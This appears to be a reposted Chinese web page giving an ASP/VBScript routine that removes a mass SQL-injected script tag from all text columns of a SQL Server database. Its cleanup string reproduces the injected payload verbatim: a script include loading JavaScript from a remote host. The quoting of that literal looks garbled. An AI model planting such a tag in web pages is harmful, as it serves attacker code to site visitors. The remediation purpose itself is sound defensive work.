恢複 SQL 被注入後的資料代碼

來源:互聯網
上載者:User

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 與text類型相似,不同的是,ntext類型採用unicode標準字元集。
'xtype=35 text 用於儲存大量文本資料。
'xtype=231 nvarchar 用來定義可變長度的位元據,最大長度為4000個字元。
'xtype=167 varchar 儲存最常可以達到8000個字元的變長的字元資料
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本類型欄位後的木馬代碼
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '欄位名
xtype = rs("xtype") '欄位類型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已經初步清理了掛馬資料,請重新重新整理頁面試試看!")
%>

相關文章

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.